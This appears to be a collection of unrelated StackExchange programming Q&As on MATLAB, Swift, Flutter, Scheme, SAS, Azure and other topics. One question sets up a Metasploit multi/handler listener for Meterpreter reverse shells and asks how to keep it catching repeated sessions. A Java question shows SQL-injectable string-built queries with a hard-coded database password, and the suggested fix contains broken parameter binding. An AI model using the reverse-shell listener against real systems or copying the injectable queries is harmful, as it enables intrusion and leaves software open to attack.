text:
Q: Data cursor in MATLAB stays blank I'm having a strange issue with MATLAB in that when I plot a surface, and I use the data cursor that no numbers show up in the little box that hovers over the cursor point.  I've attached a photo below to help understand:
[Data Cursor Not Showing Any Coordinates]()  (
I've checked many other links on stackoverflow including:
Erratic Data Cursors, Getting Data Cursor Coordinates,Getting Coordinates of Clicked Points however, they don't seem to answer my question (as far as I can understand.)
To be clear on exactly what I've been doing, I've run some simulations using MIT Photonic Bands, imported a surface into MATLAB, done some calculations on it and plotted it.  Below is the script of what I've done:
function [Kx,Ky,S] = BandSurface(k_1,k_2,B,b,z,p,varargin)

%Outputs:   Kx - The k_x "matrix" (from meshgrid) used to plot a surface
%           Ky - The k_y "matrix" used to plot a surface
%           S - The band surface
%Inputs:    k_1 - the x-component of the k-point at which the band is
%                 calculated.
%           k_2 - the y-component.
%           B - the matrix holding all the bands, obtained from ReadBands.
%           b - indicated which band for which we want the surface.
%           z - whether (z=1) or not (z~=1) we want the band surface to be
%               (artificially) centered at (k_x,k_y)=(0,0).
%           p - Whether we want to plot (p=1) or not (p~=1)
%Optional Inputs:
%           m - If the G-X-M-Y-G quarter of the FBZ is spanned by vectors
%               k_x and k_y, m is the integer that indexes the point k_x(m)
%               at which we want to re-center the band surface.
%           n - The integer that indexes k_y(n) at which we want to
%               recenter the band surface.

%Check that the number of optional arguments does not exceed two.
nVarargin = length(varargin);
if nVarargin > 0 && nVarargin < 2
    error('Not enough optional input arguments!');
elseif nVarargin > 2
    error('Too many optional input arguments!');
end

%First thing we need to do is make a meshgrid of k_1 and k_2.  Get the
%unique values from k_1 and k_2.  This defines a quarter of the first BZ.
k_x = unique(k_1);
k_y = unique(k_2);

%Define the lengths of the unique vectors
nx = length(k_x);
ny = length(k_y);

%Now, we know how the band is set up.  We got the band structure for a
%quarter of the first BZ, between k_1={0, dkx, 2*dkx, ..., 0.5-dkx, 0.5} and
%analagous for k_2.
BS = zeros(nx,ny);

%Define the surface over the grid.
for i=1:nx
    for j=1:ny
        BS(i,j) = B((j-1)*ny+i,b);
    end
 end

%Now, make this over the entire first BZ.
gvx = linspace(-1*max(k_x),max(k_x),2*nx-1);
gvy = linspace(-1*max(k_y),max(k_y),2*ny-1);
[Kx,Ky] = meshgrid(gvx,gvy);

%Do the band surface
S = zeros(2*nx-1,2*ny-1);
for i=1:nx
    for j=1:ny
        S(nx-i+1,ny-j+1)=BS(i,j);
        S(nx-i+1,j+ny-1)=BS(i,j);
        S(i+nx-1,ny-j+1)=BS(i,j);
        S(i+nx-1,j+ny-1)=BS(i,j);
    end
end

%Define the k-point at which we want to center the distribution.
if nVarargin ~= 0
    m = varargin{1};
    n = varargin{2};

    %Try a different approach.  Let SS be the matrix which holds the
    %"four-folded" S matrix.

    %Let S1 be S.
    S1 = S;

    %Flip S1 to the left.
    S2 = fliplr(S1);

    %Concatenate everything except the last column of S2 to S1.
    SU = horzcat(S2(:,1:1:size(S2,2)-1),S1);

    %Flip S1 down.
    S4 = flipud(S1);

    %Flip S1 down and to the left
    S3 = fliplr(flipud(S1));

    %Concatenate everything except the last column of S3 to S4.
    SD = horzcat(S3(:,1:1:size(S3,2)-1),S4);

    %Now vertically concatenate SU and SD, except the first row of SD.
    SS = vertcat(SU,SD(2:1:size(SD,1),:));

    %Now, seeing Aug 25, 2014 notes, we find out the point in S1 (in the 3rd
    %quadrant of S1) where we want to center the band surface.  Then we find
    %out where this point lies in SS.  Then, take a subset of SS centered about
    %this point.
    S = SS(nx-1+m:1:3*nx-3+m,ny-1+n:1:3*ny-3+n);

    %Define a grid spacing.
    dkx = (k_x(length(k_x)) - k_x(1))/(nx-1);
    dky = (k_y(length(k_y)) - k_y(1))/(ny-1);

    %Now, redefine our grid vectors.
    gvx = linspace(k_x(m)-nx*dkx,k_x(m)+nx*dkx,2*nx-1);
    gvy = linspace(k_y(n)-ny*dky,k_y(n)+ny*dky,2*ny-1);
    [Kx,Ky] = meshgrid(gvx,gvy);
end

%Now, center the band surface at zero if we are asked to.
if z==1
    gvx = linspace(-nx*dkx,nx*dkx,2*nx-1);
    gvy = linspace(-ny*dky,ny*dky,2*ny-1);
    [Kx,Ky] = meshgrid(gvx,gvy);
end

%Plot it.
if p ==1
    figure();
    clf;
    surf(Kx,Ky,S);
    xlabel('k_x (2 \pi /a)');
    ylabel('k_y (2 \pi /a)');
end
end

(I know a lot of it may not make sense to everyone else, but I've included the whole function for completeness' sake.)  I don't think I've done anything out of the ordinary with respect to the plotting (see the bottom of my attached code) so I don't know why this is happening.
Also, it is worth mentioning that yesterday when I was debugging this function, I was using the debugger.  The data cursors were working fine.  Then, for some reason it spit out a warning about Print Templates.  After this warning, I figured restarting MATLAB would solve the problem but it didn't, and since other warnings occurred since that one, lastwarn doesn't return the warning and I can't seem to recover the warning about Print Templates that I mentioned.
Also, it should be noted that while the data cursor doesn't work on this machine, when I go to another machine, it seems to work just fine.
If someone could help me figure out why this is, I would greatly appreciate!
EDIT:  In the comments below patrik asked if this happened everytime.  To illustrate this, I made a simple parabloid over a range of X=[-3,3] and Y=[-4,4] of Z=3*X.^2+Y.^2.  If I do it with a small grid size as follows:
[X,Y]=meshgrid(-3:0.5:3,-4:0.5:4)
Z = 3*X.^2+Y.^2;
figure();
surf(X,Y,Z);

I get the following figure and indeed the data cursor seems to work fine!
However, if I use a finer grid for the exact same parabloid as follows:
[X,Y]=meshgrid(-3:0.05:3,-4:0.05:4);
Z = 3*X.^2+Y.^2;
figure();
surf(X,Y,Z);

I get another figure (which I am not allowed to link to as my reputation is not high enough, but the link is http://imgur.com/EWJv041) in which the data cursor does not work!
So, to answer your questions, it doesn't happen all the time, but it seems to happen past a certain grid resolution.

A: I had the same exact issues as described. I also tested the behavior with the code provided.
I'm running Matlab on a laptop with switchable graphic cards (Intel HD and AMD Radeon).
Solution:
Matlab was set for running with the AMD Processor.
After switching it to run with the integrated Intel HD it works again! The integrated Intel card is selected with the "Power saving" option.
Link to example: http://i62.tinypic.com/vfaxw3.jpg
Don't have reputation to post pictures yet.
Switching the graphics card can be done from the AMD Cataclyst Control Center. If the issue appears on Nvidia cards you can change it in the Nvidia control panel

A: Here are my suggestions on how you can debug it, since I cannot reproduce your problem locally.

*

*Try setting a breakpoint on top of \<MATLAB Folder>\R201??\toolbox\matlab\graphics\@graphics\@datatip\datatip.m and follow it for both the working example and the non-working one, and see if and when there's a difference.

*Try saving the figure as a .fig and uploading it somewhere. If some settings (or default settings) of the figure are bad, it would be possible to compare it with a working figure created on a different computer and see where the difference is. Here's a working figure I made for your last example, including a datatip. If this figure works for you, I could suggest a workaround where you simply create an empty (and functional) figure file on a different computer (or use the one I uploaded) and just reuse the axes with your own data.

*Try backing up and then deleting your preferences folder. It is possible that you have some corrupt settings. (an unlikely but possible cause is a font\interpreter problem... It seems like your font is slightly different from mine, which works well, so resetting the preferences may help with that).
Please let me know if any of these worked for you.


text:
Q: how can i implement the singleton class in swift which will be having uiview as base class I am trying to create a singleton class that having base class as uiview but I am getting this error:

Cannot invoke initializer for type 'SecondView' with no arguments

import UIKit
class SecondView: BaseView {

/*
// Only override drawRect: if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
override func drawRect(rect: CGRect) {
    // Drawing code
}
*/

static let secondViewSharedInstance = SecondView()
//MARK: - Custom Initialization
internal init(frame: CGRect, OnActions:(ScreeenType:NSInteger) -> ()){

    super.init(frame: frame)
}

required init?(coder aDecoder: NSCoder){
    super.init(coder: aDecoder)
}

}

How can I fix this issue? It is working fine when I have taken new project and copied this code but in my main project I am getting the above error
I have taken a base view
import UIKit
class BaseView: UIView {
/*
// Only override drawRect: if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
override func drawRect(rect: CGRect) {
    // Drawing code
}
*/

var OnActionsRef : (ScreeenType:NSInteger) -> () = {_ in };
}

redpajama_set_name: RedPajamaStackExchange


text:
Q: gmongo MapReducer with Finalizer I do not know how to set Finalizer when using gmongo.
My 'reduce' contains an Array that I want to use in 'Finalize'
Map and Reduce are as shown below
String map="""
  function map(){
  key = this.vendor
  var inSec=Math.round(this.timeTook/1000*100)/100
  value= {response_time:[inSec]}
  emit(key, value)
}
"""
String reduce = """
    function reduce(key,values){
      var call_list={response_time:[]}
      var count = 0
      var total=0
      for (var i in values){
        call_list.response_time=values[i].response_time.concat(call_list.response_time)
      }
      call_list.response_time= call_list.response_time.sort(function(a,b){return a-b})
      return call_list
    }
"""
        String collection="mapreduceresult"

When I invoke mapreduce as below, I get an error - query too large
            MapReduceCommand cmd = new MapReduceCommand(logCollection, map,reduce,null,MapReduceCommand.OutputType.MERGE,null)
            cmd.setOutputDB(collection)
            cmd.setFinalize(finalizer) //- wanted to use Finalize as the reducer returns an Array
            logCollection.mapReduce(cmd) //This is giving an error - Query is too large..

Only this is working for me but do not know how to set Finalize
   logCollection.mapReduce(map,reduce,collection,[:])

A: take a look at this working example, the finalize function is just converting the number to a String:
@Grab(group='com.gmongo', module='gmongo', version='1.2')
import com.gmongo.GMongo
import com.mongodb.MapReduceCommand
import com.mongodb.BasicDBObject

def mongo = new GMongo()
def db = mongo.getDB("gmongo")

def words = ['foo', 'bar', 'baz']
def rand  = new Random()

db.words.drop()

1000.times {
    db.words << [word: words[rand.nextInt(3)]]
}

assert db.words.count() == 1000

def map = """
    function map() {
        emit(this.word, {count: 1})
    }
    """

def reduce = """
    function reduce(key, values) {
        var count = 0
        for (var i = 0; i < values.length; i++)
            count += values[i].count
        return {count: count}
    }
    """

def finalize = """
    function finalize(key, reducedValue) {
        return {count: reducedValue.count.toString()}
    }
    """

def command = new MapReduceCommand(db.words, map, reduce, 'mrresult', MapReduceCommand.OutputType.REPLACE, new BasicDBObject())

command.setFinalize(finalize)

db.words.mapReduce(command)

println db.mrresult.findOne()


text:
Q: ListView isn't scrolling in Flutter ListView is not working here, Firstly instead of padding I used Positioned() but there is a similar issue on github and there I got to know that scrollable widget shouldn't be placed inside Positioned() so i replaced it with Padding(), but got no success.
here is my code
import 'package:flutter/material.dart';
import 'package:cpblog/webview.dart';
import 'package:flutter/rendering.dart';

class DetailsPage extends StatefulWidget {
  final heroTag;
  final foodName;
  final url;
  final text;
  DetailsPage({this.heroTag, this.foodName,this.url,this.text});

  @override
  _DetailsPageState createState() => _DetailsPageState();
}

class _DetailsPageState extends State<DetailsPage> {
  var selectedCard = 'WEIGHT';

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        backgroundColor: Color(0xFF7A9BEE),
        appBar: AppBar(
          leading: IconButton(
            onPressed: () {
              Navigator.of(context).pop();
            },
            icon: Icon(Icons.arrow_back_ios),
            color: Colors.white,
          ),
          backgroundColor: Colors.transparent,
          elevation: 0.0,
          title: Text('Here You Go!!',
              style: TextStyle(
                  fontFamily: 'Montserrat',
                  fontSize: 18.0,
                  color: Colors.white)),
          centerTitle: true,
          actions: <Widget>[
            IconButton(
              icon: Icon(Icons.more_horiz),
              onPressed: () {},
              color: Colors.white,
            )
          ],
        ),
        body: ListView(children: [
          Stack(children: [
            Container(
                height: MediaQuery.of(context).size.height - 82.0,
                width: MediaQuery.of(context).size.width,
                color: Colors.transparent),
            Padding(
              padding: const EdgeInsets.only(top: 75.0),
              child: Container(
                  decoration: BoxDecoration(
                      borderRadius: BorderRadius.only(
                        topLeft: Radius.circular(45.0),
                        topRight: Radius.circular(45.0),
                      ),
                      color: Colors.white),
                  height: MediaQuery.of(context).size.height - 100.0,
                  width: MediaQuery.of(context).size.width),
            ),
            Padding(
              padding: EdgeInsets.only(top: 30.0,
                left: (MediaQuery.of(context).size.width / 2) - 100.0,),
              child: Hero(
                  tag: widget.heroTag,
                  child: Container(
                      decoration: BoxDecoration(
                        shape: BoxShape.circle,
                          image: DecorationImage(
                              image: NetworkImage(widget.heroTag),
                              fit: BoxFit.cover)),
                      height: 200.0,
                      width: 200.0)),
            ),
            Padding(
              padding: const EdgeInsets.only(top:250.0,right:25.0,left: 25.0),
              child: ListView(
                shrinkWrap: true,
                children: <Widget>[
                  Text(widget.foodName,
                      style: TextStyle(
                          fontFamily: 'Montserrat',
                          fontSize: 22.0,
                          fontWeight: FontWeight.bold)),
                  SizedBox(height: 20.0),
                  Text(widget.text,
                      style: TextStyle(
                          fontFamily: 'Montserrat',
                          fontSize: 20.0,
                          )),
                  SizedBox(height: 20.0),
                  Row(
                    mainAxisAlignment: MainAxisAlignment.spaceBetween,
                    children: <Widget>[
                      Container(
                        width: 125.0,
                        height: 40.0,
                        decoration: BoxDecoration(
                            borderRadius: BorderRadius.circular(17.0),
                            color: Color(0xFF7A9BEE)),
                        child: Row(
                          mainAxisAlignment: MainAxisAlignment.spaceEvenly,
                          children: <Widget>[
                            InkWell(
                              onTap: () {
                                Navigator.push(
                                        context,
                                        MaterialPageRoute(builder: (context) => WebView(widget.url, widget.foodName)));
                                    },
                                child:Text('View More',
                                style: TextStyle(
                                    color: Colors.white,
                                    fontFamily: 'Montserrat',
                                    fontSize: 15.0)),
                            )
                          ],
                        ),
                      )
                    ],
                  ),
                  SizedBox(height: 20.0),
                  Container(
                      height: 150.0,
                      child: ListView(
                        scrollDirection: Axis.horizontal,
                        children: <Widget>[
                          _buildInfoCard('WEIGHT', '300', 'G'),
                          SizedBox(width: 10.0),
                            _buildInfoCard('CALORIES', '267', 'CAL'),
                            SizedBox(width: 10.0),
                            _buildInfoCard('VITAMINS', 'A, B6', 'VIT'),
                            SizedBox(width: 10.0),
                            _buildInfoCard('AVAIL', 'NO', 'AV')
                        ],
                      )
                    ),

                  SizedBox(height: 20.0),
                    Padding(
                      padding: EdgeInsets.only(bottom:5.0),
                      child: Container(
                        decoration: BoxDecoration(
                          borderRadius: BorderRadius.only(topLeft: Radius.circular(10.0), topRight: Radius.circular(10.0), bottomLeft: Radius.circular(25.0), bottomRight: Radius.circular(25.0)),
                          color: Colors.black
                        ),
                        height: 50.0,
                        child:
                          InkWell(
                              onTap: () {
                                Navigator.pop(context);
                              },
                          child: Center(
                            child: Text(
                              'Back',
                              style: TextStyle(
                                color: Colors.white,
                                fontFamily: 'Montserrat'
                              )
                            ),
                          ),
                          )
                      ),
                    )
                ],
              ),
            )
          ])
        ]));
  }

  Widget _buildInfoCard(String cardTitle, String info, String unit) {
    return InkWell(
      onTap: () {
        selectCard(cardTitle);
      },
      child: AnimatedContainer(
        duration: Duration(milliseconds: 500),
        curve: Curves.easeIn,
        decoration: BoxDecoration(
          borderRadius: BorderRadius.circular(10.0),
          color: cardTitle == selectedCard ? Color(0xFF7A9BEE) : Colors.white,
          border: Border.all(
            color: cardTitle == selectedCard ?
            Colors.transparent :
            Colors.grey.withOpacity(0.3),
            style: BorderStyle.solid,
          width: 0.75
          ),

        ),
        height: 100.0,
        width: 100.0,
        child: Column(
          mainAxisAlignment: MainAxisAlignment.spaceBetween,
          crossAxisAlignment: CrossAxisAlignment.start,
          children: [
            Padding(
              padding: const EdgeInsets.only(top: 8.0, left: 15.0),
              child: Text(cardTitle,
                  style: TextStyle(
                    fontFamily: 'Montserrat',
                    fontSize: 12.0,
                    color:
                        cardTitle == selectedCard ? Colors.white : Colors.grey.withOpacity(0.7),
                  )),
            ),
            Padding(
              padding: const EdgeInsets.only(left: 15.0, bottom: 8.0),
              child: Column(
                crossAxisAlignment: CrossAxisAlignment.start,
                children: <Widget>[
                  Text(info,
                      style: TextStyle(
                          fontFamily: 'Montserrat',
                          fontSize: 14.0,
                          color: cardTitle == selectedCard
                              ? Colors.white
                              : Colors.black,
                          fontWeight: FontWeight.bold)),
                  Text(unit,
                      style: TextStyle(
                        fontFamily: 'Montserrat',
                        fontSize: 12.0,
                        color: cardTitle == selectedCard
                            ? Colors.white
                            : Colors.black,
                      ))
                ],
              ),
            )
          ]
        )
      )
    );
  }

  selectCard(cardTitle) {
    setState(() {
      selectedCard = cardTitle;
    });
  }
}

I tried physics, listView.builder(),but everytime I get the same result.
Thank you in advance!!!!

A: Surround you ListView with Expanded widget.
You can't have a scrollable widget inside another scrollable widget without setting a proper height for the inner one. Or use ConstrainedBox


text:
Q: Showing content of argv[1] when submitting job with SGE Running a program locally I often write a short info about the program state into argv[1] (i.e.: 15/100) to estimate how long my program will keep running.
I can then observe the content of argv[1] via top -c
Is there an equivalent tool to see the content of argv[1] when submitting a job via qsub?
I did not find an option for qstat, that does what I want.


text:
Q: PHP: How to check and install mysqlnd_qc I would like to use this plugin because can cache the query results. But even reading the docs at
http://dev.mysql.com/doc/refman/5.5/en/apis-php-mysqlnd-qc.setup.html
http://www.php.net/manual/en/mysqlnd-qc.setup.php
still confused. Does it mean it comes with PHP 5.4 by default? If not, how I can I check if it's installed from CentOS using a command line? Also, how can I check if it's installed on my local PC running XAMPP with PHP 5.4?
Thank you.

A: As far as I know, none of the mysqlnd plugins are installed by default.
I've tried installing one of the mysqlnd plugins (in my case it was mysqlnd_ms), but I've had limited success. I concluded that I needed to build both the mysqlnd plugin and PHP itself from source to get it to work.
At that point I lost interest, because none of my clients are willing to build PHP from source for their environments. They want to use binary installs, preferably from a yum package repo.
I don't think these plugins will catch on as viable tools until they are installable in a more convenient way, for example through PECL or Composer.

A: Okay, based on this doc, PHP 5.4 has installed MySQLnd by default
http://dev.mysql.com/downloads/connector/php-mysqlnd/
and to test it using this answer
How to know if MySQLnd is the active driver?


text:
Q: Can not build application for Android (.Net 7) At first Visual Studio said me to restore workloads, but when I tried it I always got an error. After changing versions number in C:\Program Files\dotnet\sdk-manifests\7.0.100\ I finally restored workloads. After it I got the following error on build:
Unable to find package Microsoft.Maui.Essentials.Ref.android with version (=52.1.0)
Unable to find package Microsoft.Maui.Essentials.Runtime.android with version (=52.1.0)
error on build
Errors full text:
Error   NU1102  Unable to find package Microsoft.Maui.Essentials.Ref.android with version (= 52.1.0)
  - Found 31 version(s) in nuget.org [ Nearest version: 7.0.59 ]
  - Found 0 version(s) in Microsoft Visual Studio Offline Packages
  - Found 0 version(s) in C:\Program Files\dotnet\library-packs

Error   NU1102  Unable to find package Microsoft.Maui.Essentials.Runtime.android with version (= 52.1.0)
  - Found 31 version(s) in nuget.org [ Nearest version: 7.0.59 ]
  - Found 0 version(s) in Microsoft Visual Studio Offline Packages
  - Found 0 version(s) in C:\Program Files\dotnet\library-packs

How to fix it?

A: Fix it by changing version number in C:\Program Files\dotnet\sdk-manifests\7.0.100\microsoft.net.sdk.maui from 51.1.0 to 7.0.59


text:
Q: execute run -jz once for multiple connections I am using following code to waiting client connect.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.1
set lport 4444
run -jz

The question is: port listening was stopped after one connection was established. It cause subsequent connection failed. I have to type run -jz manually again and again after connection established.
Is there any way to continue listening to the port with just typing command once?
ps: Manjaro Llinux with Metasploit5-dev

A: Found the solution: execute "set ExitOnSession false" before "run -jz". that's what I need.


text:
Q: why is tail recursion required in all implementations in scheme? Tail recursion is more efficient because it reuses the same stack frame instead of creating a new one, but why is this required for everything in scheme?

A: Scheme does not have goto, so all looping is, ultimately, done using tail recursion. Without a proper tail recursion guarantee, there is no reliable way to provide looping in Scheme.

Update: I want to explain what I mean by "ultimately uses tail recursion". Let's look at the do macro, since @newacct mentioned it. For example:
(do ((i 1 (+ i 1)))
    ((> i 10))
  (display i)
  (newline))

As I mentioned, Scheme does not have goto, so it must get its looping from somewhere. It actually macro-expands to (something like) this:
(let loop ((i 1))
  (unless (> i 10)
    (display i)
    (newline)
    (loop (+ i 1))))

Notice that loop here is not a keyword or builtin function. It's a named function that's created by the named let†, and which is being invoked (via tail recursion) at the bottom of the unless form.
Really, all standard looping forms in Scheme use tail recursion. There's no getting away from it.

† Here's what the named let (loosely speaking‡) macro-expands to:
(letrec ((loop (lambda (i)
                 (unless (> i 10)
                   (display i)
                   (newline)
                   (loop (+ i 1))))))
  (loop 1))

‡ Strictly speaking, it macro-expands to:
((letrec ((loop (lambda (i)
                  (unless (> i 10)
                    (display i)
                    (newline)
                    (loop (+ i 1))))))
   loop)
 1)

A: Tail recursion is mandated by the language's specification. Quoting from section 5.11 of R6RS:

Implementations of Scheme must be properly tail-recursive. Procedure calls that occur in certain syntactic contexts called tail contextsare tail calls. A Scheme implementation is properly tail-recursive if it supports an unbounded number of active tail calls. A call is active if the called procedure may still return. Note that this includes regular returns as well as returns through continuations captured earlier by call-with-current-continuation that are later invoked. In the absence of captured continuations, calls could return at most once and the active calls would be those that had not yet returned. A formal definition of proper tail recursion can be found in Clinger's paper [5]. The rules for identifying tail calls in constructs from the (rnrs base (6)) library are described in section 11.20.

The practical reason for this, is that tail recursion allows the implementation of efficient looping using recursion.

A: Without TR guarantee call/cc would be unusable. Looping in itself could be achieved via do which is a part of the language.
edit: this turned out to be not correct. See comments by John Clements at the question. A language can have non-TR function call mechanism but have a special separate mechanism for calling the continuations.


text:
Q: Как правильно подключить CKEditor5 в Laravel в app.js подключаю так
import ClassicEditor from '@ckeditor/ckeditor5-editor-classic/src/classiceditor';
import Bold from '@ckeditor/ckeditor5-basic-styles/src/bold';

ClassicEditor
    .create( document.querySelector( '.editor' ), {
        minHeight: '300px',
        plugins: [Bold],
        toolbar: ['bold']
    })
    .catch( error => {
        console.log( error );
    });

после сборки выдает
TypeError: Cannot read property 'getAttribute' of null
    at IconView._updateXMLContent (admin.js:45967)
    at IconView.render (admin.js:45943)
    at IconView.<anonymous> (admin.js:57293)
    at IconView.fire (admin.js:55108)
    at IconView.<computed> [as render] (admin.js:57297)
    at ViewCollection._renderViewIntoCollectionParent (admin.js:50439)
    at ViewCollection.<anonymous> (admin.js:50300)
    at ViewCollection.fire (admin.js:55108)
    at ViewCollection.add (admin.js:51258)
    at ButtonView.render (admin.js:43580)


text:
Q: Code from macro execution To create a complex analysis, I have a program that will %include some different other programs, each one with a specific purpose (mainly one for each analysis, one for macros, one for formats and so on..). All the analysis run smoothly with one click on the final program.
Basically what I want now is to implement a system that will be able to rewrite all the code in one document: exploding the macros with the correct code, exploding the %do loops with the correct datastep code, deleting the %let statements but resolving the macro variables, and so on (example at the bottom of the post).
The only idea I had was to save the log, with the MPRINT option to write everything, delete the notes after the datastep executions and other things not datastep related. But this method is really dirty, therefore I would kindly ask if you have better ideas on how to proceed.
This is an example of 2 nested programs:
main.sas

-----------------------------------------------------

/* My MAIN PROGRAM */

%let PGM=MAIN;
%put This is my &pgm. program;

%let LIB=MYLIB;

%include &LIB.(FIRST.sas);

-----------------------------------------------------

first.sas

-----------------------------------------------------

%let ind=2;

%macro ABC;
%do rk=1 %to &ind.;

data A&rk.;
MYVAR=&rk.; output;
run;

%end;
%mend; %ABC;

-----------------------------------------------------

The document that I would get is something like:
/* My MAIN PROGRAM */

%put This is my MAIN program;

data A1;
MYVAR=1; output;
run;

data A2;
MYVAR=2; output;
run;

Any suggestion? Did you ever find out this? How you solved it? Many thanks.

A: See Example 2 here:
http://support.sas.com/documentation/cdl/en/mcrolref/69726/HTML/default/viewer.htm#p1dhqw0i5yj2m8n15opapnwteqra.htm
You can add these options to your program:
options mfile mprint;
filename mprint 'debugmac';

And all the generated code will appear in the specified output file. This will not include %PUT statements though - in your example, your desired output includes a %PUT statement. The options above just redirect all the normal MPRINT lines to a file, so no open code or macro statements are include. You could probably find a way to append a header to the MPRINT file though, depending on your exact needs.
Having said all that, I wouldn't recommend your approach. Why would you want to flatten the program in this way? It's extremely unlikely to have any noticeable performance benefit, and will make it much harder to debug or modify the program in future.


text:
Q: Hiding column in Power BI live connection i build power bi dashboard with live connection, but in power bi desktop all columns from fact table are visible, is there any option to hide columns when using live connection in power BI?

A: You can't do it in a Power BI Live Connection, it sees what is available in the SSAS cube and displays it. What you can do in SSAS is create a Perspective that will limit the tables, columns and measures to what you want to select.
Hope that helps point you in the right direction


text:
Q: Using launchd to clear bash history?
Clarification: Am not looking to destroy history, am looking for means
to periodically purge it via launchd for security purposes

Have been using cat /dev/null > ~/.bash_history to clear bash history as have seen in many *nix conversations as the most effective way to do so.
So I put it into a shell script that runs in launchd, yet after some time I've come to realize though it runs it's not clearing history.
Is it possible to clear bash history this way via bash script or can it only be done manually as a user? Perhaps I need to run the command directly in the .plist and not via a bash script?
Note: I have other scripts running correctly via launchd so question is strictly about being able to clear history via an agent
Thank you

Update: Found this cool site that helps generate launchd scripts if
this helps anyone. Cannot vouch for it but it's much easier than
hacking XML.
It seems to use sh -c for all commands though, so not sure why that is.
launchd plist generator
http://launched.zerowidth.com/

A: It seems you've come up with a very convoluted solution to the problem of not wanting a bash_history.
I would advise that instead of periodically clearing the history from launchd, you should simply disable history recording:
echo 'set +o history' >> ~/.bashrc

Close the terminal tab and open a new one - and your history will no longer be recorded.

A: Your bash history consists of two "histories", not one. One of these histories is stored in a file - its size/depth is governed by the parameter HISTFILESIZE. The other history is cached in memory - its size is governed by the parameter HISTSIZE.
You can check the sizes/depth of your histories:
$ echo $HISTFILESIZE
$ echo $HISTSIZE

The reason for two histories is that one is associated with each shell session (HISTSIZE), while the other history is a file ~/.bash_history that is "permanent", and eventually receives the session histories when they overrun their max depth, or when the session is terminated. That's a bit complicated to explain, and the picture below may help make the relationship between these two histories clear.
But back to your objective:
Rather than taking steps to delete your history, you could simply set HISTSIZE
and HISTFILESIZE to zero in ~/.bashrc:
HISTSIZE=0
HISTFILESIZE=0

If that's not what you want, you can certainly delete the history file periodically, but know that doesn't delete the session history. Deleting your history file by building a .plist file isn't necessary. The history command is the tool to use for this job (see history --help for details). The following command will delete one session history:
$ history -cw

Deleting the contents from the history file (~/.bash_history) is done conventionally:
$ > ~/.bash_history

You could put one or both of these commands in a crontab, but you'll need to ensure the default shell is bash as history is a built-in.
For some related background on the subject of shell history, you could read this related Q&A. It pertains to zsh - not bash, but the principles are the same.


text: Q: High Fidelity Playback (A2DP Sink) config outputs to only one side of my bluetooth headphones I had my bluetooth headset connected through bluetooth (not aux) and was playing CSGO until someone told me that my mic is not working, i left the match and went to settings to check the audio input and found it was set on the internal audio input, i tried changing it but it didn't work (my headset mic didn't have any input) then i thought it was a device problem, I changed to speakers then back to headset, just to be surprised by the poor sound quality (the config for the audio output was Headset head unit) i changed it to A2DP but now the right ear doesn't output anything where the left one is working just fine. How can i fix this?


text:
Q: How to run two update statements with one button? I'm trying to update my stock value if the user enters to add or delete.
My code runs after adding and deleting but is updated with the added value.
My update only runs the SQL. I tried creating another preparedstatement but it didn't work. The code is given below and I am using java Netbeans.
private void Update_btnActionPerformed(java.awt.event.ActionEvent evt) {

    if (txt_add.getText().equals("") && txt_delete.getText().equals("")) {
        JOptionPane.showMessageDialog(null, "Enter Stock value");
    } else {
        String url = "jdbc:sqlserver://localhost:1433;databaseName=InventoryTrackdb";
        String un = "sa";
        String pass = "123";
        PreparedStatement pst = null;
        Connection conn = null;

        try {
            conn = DriverManager.getConnection(url, un, pass);

            int pv = Integer.parseInt((Table_stock.getValueAt(Table_stock.getSelectedRow(), 3).toString()));
            int value;
            int value1;
            if (txt_add.getText().equals("")) {
                value = 0;
            } else {
                value = Integer.parseInt(txt_add.getText());
            }
            if (txt_delete.getText().equals("")) {
                value1 = 0;
            } else {
                value1 = Integer.parseInt(txt_delete.getText());
            }
            int fv = pv + value;
            int fv1 = pv - value1;
            if (fv1 < 0) {
                JOptionPane.showMessageDialog(null, "Negative Stock");
                clear_text();
            }

            else {

                String sql = "Update  Add_item set Stock = '" + fv + "'  where Itemcode = '" + txt_id.getText()
                        + "' and Itemname = '" + txt_name.getText() + "' ";

                String sql1 = "Update  Add_item set Stock = '" + fv1 + "'  where Itemcode = '" + txt_id.getText()
                        + "' and Itemname = '" + txt_name.getText() + "' ";

                pst = conn.prepareStatement(sql1);

                pst.executeUpdate();

                pst = conn.prepareStatement(sql);

                pst.executeUpdate();

                update_table();
                JOptionPane.showMessageDialog(null, "Updated Successfully");
                clear_text();
            }
        }
        catch (SQLException ex) {
            Logger.getLogger(Main_stock.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

}

Here is the image of the page:

A: You have to use PreparedStatement to avoid syntax error or SQL Injection, In your case it's better also to use batch like this :
String sql = "Update  Add_item set Stock = ?  where Itemcode = ? and Itemname = ?";
try (PreparedStatement pstmt = connection.prepareStatement(sql);) {

    pstmt.setString(1, fv);
    pstmt.setString(2, txt_id.getText());
    pstmt.addBatch();//First Batch

    pstmt.setString(1, fv1);
    pstmt.setString(2, txt_id.getText());
    pstmt.addBatch();//Second batch

    int[] result = pstmt.executeBatch();//Submits both batch of commands to the database

}


text:
Q: How to create azure function to access multiple azure blob storage accounts? Please help in resolving this issue.
I have two Azure blob storage accounts storage1 and storage2, how to write an azure function that should trigger once any files are uploaded to the storage accounts.

A: You can just create 2 functions which are triggered on these 2 different blobs, and create one method where you process the files, something like this:
Function1:
public static class Function1
{
    [FunctionName("Function1")]
    public static void Run([BlobTrigger("samples-workitems/{name}", Connection = "")]Stream myBlob, string name, ILogger log)
    {
        log.LogInformation($"C# Blob trigger function Processed blob\n Name:{name} \n Size: {myBlob.Length} Bytes");
        new MySharedCode().Process(myBlob, name, log);
    }
}

Function2:
public static class Function2
{
    [FunctionName("Function2")]
    public static void Run([BlobTrigger("samples-workitems/{name}", Connection = "AzureWebJobsStorage2")]Stream myBlob, string name, ILogger log)
    {
        new MySharedCode().Process(myBlob, name, log);
    }
}

And have some shared code where you process the uploaded files:
class MySharedCode
{
    internal void Process(Stream myBlob, string name, ILogger log)
    {
        // Process the file
    }
}

In the settings file you have to set up your storage connection strings:
{
  "IsEncrypted": false,
  "Values": {
    "AzureWebJobsStorage": "{connection string to storage1}",
    "AzureWebJobsStorage2": "{connection string to storage2}",
    "FUNCTIONS_WORKER_RUNTIME": "dotnet"
  }
}

It works fine for me. The idea is based on this github thread:
https://github.com/Azure/azure-functions-host/issues/1544


text:
